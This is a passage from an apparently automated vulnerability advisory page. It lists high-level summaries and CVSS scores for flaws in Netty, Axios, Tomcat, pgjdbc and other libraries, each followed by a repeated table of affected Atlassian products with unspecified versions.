vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
pgjdbc versions 42.2.0 to before 42.7.11 are vulnerable to client-side denial of service via excessive CPU usage during SCRAM-SHA-256 authentication, fixed in 42.7.11, while Oracle Communications Cloud Native Core Console versions 25.1.203 and 25.2.201 have a network-accessible SQL injection denial of service vulnerability.
7.5 (High)
Affected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
Multiple vulnerabilities in Apache Netty prior to versions 4.1.133.Final and 4.2.13.Final allow remote attackers to cause excessive memory allocation, denial of service, and potential data compromise via crafted LZ4 compressed data and HTTP/2 requests.
7.5 (High)
Affected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
Netty versions prior to 4.2.13.Final and 4.1.133.Final contain vulnerabilities in HttpContentDecompressor that allow attackers to bypass maxAllocation limits for Brotli, Zstandard, and Snappy encodings, causing out-of-memory denial of service.
7.5 (High)
Affected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
Apache Tomcat versions 7.0.0 to 11.0.21 contain multiple security vulnerabilities including LockOutRealm case sensitivity issues, digest authentication bypass, WebDAV request size DoS, HTTP/2 header validation flaws, WebSocket authentication exposure, and AJP secret comparison weaknesses.
7.5 (High)
Affected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
Netty versions prior to 4.1.135.Final and 4.2.15.Final contain an IPv6 subnet bypass vulnerability in IpSubnetFilterRule.compareTo() due to incorrect masking, allowing unauthorized access control bypass.
8.1 (High)
Affected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
Axios Node.js HTTP adapter versions prior to 0.32.0 and 1.16.0 can leak proxy credentials via stale Proxy-Authorization headers when following redirects from proxied to non-proxied targets, exposing sensitive authentication data.
7.5 (High)
Affected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
Axios versions prior to 0.32.0 and 1.16.0 have a vulnerability in the Node.js HTTP adapter where Proxy-Authorization headers may be forwarded to redirected origins during proxy-to-direct redirect flows, risking exposure of sensitive proxy credentials.
7.5 (High)
Affected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
Axios versions 1.7.0 through 1.15.x failed to enforce configured request and response size limits when using the fetch adapter, allowing oversized bodies that can cause resource exhaustion in server-side applications.
7.5 (High)
Affected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
Axios versions prior to 1.16.0, including 1.15.2 and earlier, are vulnerable to prototype pollution that enables arbitrary HTTP header injection, sensitive data leakage, and denial-of-service crashes due to unsafe merging of object properties.
8.2 (High)
Affected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
Axios versions prior to 0.32.0 and 1.16.0 contain a vulnerability where IPv4-mapped IPv6 addresses are not normalized in the shouldBypassProxy function, allowing NO_PROXY restrictions to be bypassed and requests to be routed through proxies improperly.
8.6 (High)
Affected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
Axios versions 1.0.0 to before 1.16.0 contain a Prototype Pollution gadget in `config.proxy` that escalates Object.prototype pollution into a full Man-in-the-Middle attack, enabling interception and modification of all HTTP traffic including credentials.
8.7 (High)
Affected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
Axios versions prior to 0.31.1 and 1.15.2 contain prototype-pollution gadgets in request config processing that can be exploited via a polluted Object.prototype.transformResponse from another vulnerability, enabling credential theft, response hijacking, or denial-of-service.
7.0 (High)
Affected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
Axios versions before 0.32.0 and 1.16.0 have a vulnerability where unescaped regex metacharacters in the XSRF cookie name cause excessive regex backtracking, leading to client-side denial of service by freezing the browser tab.
7.5 (High)
Affected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
Netty versions prior to 4.1.135.Final and 4.2.15.Final contain a critical vulnerability in SslClientHelloHandler.decode() that causes unbounded memory allocation from crafted TLS ClientHello messages, leading to potential denial of service.
7.5 (High)
Affected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
PostCSS versions up to 8.5.11 contain a vulnerability where attacker-controlled sourceMappingURL comments in CSS enable arbitrary local file reads, partial content disclosure, file-existence oracle, and potential denial of service.
7.5 (High)
Affected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
The js-cookie library's assign() function was vulnerable to prototype pollution via JSON objects containing a __proto__ property, allowing attackers to manipulate cookie attributes such as domain, secure, and samesite.
7.5 (High)
Affected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
Spring Security versions 5.7.0 to 5.7.24, 5.8.0 to 5.8.26, 6.3.0 to 6.3.17, 6.4.0 to 6.4.17, and 6.5.0 to 6.5.10 contain a vulnerability in the deprecated SubjectDnX509PrincipalExtractor that improperly handles malformed X.509 certificate CN values, enabling potential user impersonation.
6.8 (Medium)
Affected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
A resource leak vulnerability in Netty's DelegatingDecompressorFrameListener class for HTTP/2 decompression can cause JVM Out Of Memory Errors and Denial of Service, fixed in netty-codec-http2 versions 4.1.135.Final and 4.2.15.Final.
7.5 (High)
Affected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
A memory exhaustion denial-of-service vulnerability in the ws WebSocket library and HPE Telco Service Orchestrator software allows remote attackers to cause process termination by sending numerous small fragments, fixed in specific ws versions.
7.5 (High)
Affected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
linkify-it versions prior to 5.0.1 have an O(N²) complexity vulnerability in the LinkifyIt.prototype.match function that can cause denial of service via excessive CPU usage when rendering untrusted Markdown with linkify enabled.
7.5 (High)
Affected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
Netty versions prior to 4.1.135.Final and 4.2.15.Final improperly wrap plain X509TrustManagers, disabling hostname verification and enabling remote attackers to perform man-in-the-middle attacks.
7.5 (High)
Affected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
Apache Tomcat versions 9.0.83 to 11.0.22 and Oracle Communications Management Cloud Engine 25.2.0.0.10 contain vulnerabilities in FFM connector CRL error handling and Apache Tomcat components, allowing unauthorized data access and security bypasses, fixed in recent Tomcat updates.
9.1 (Critical)
Affected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
pgJDBC versions 42.7.4 to 42.7.11 contain a vulnerability allowing silent downgrade of SCRAM-SHA-256-PLUS to SCRAM-SHA-256 during channel binding, bypassing man-in-the-middle protection, fixed in version 42.7.12.
5.9 (Medium)
Affected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
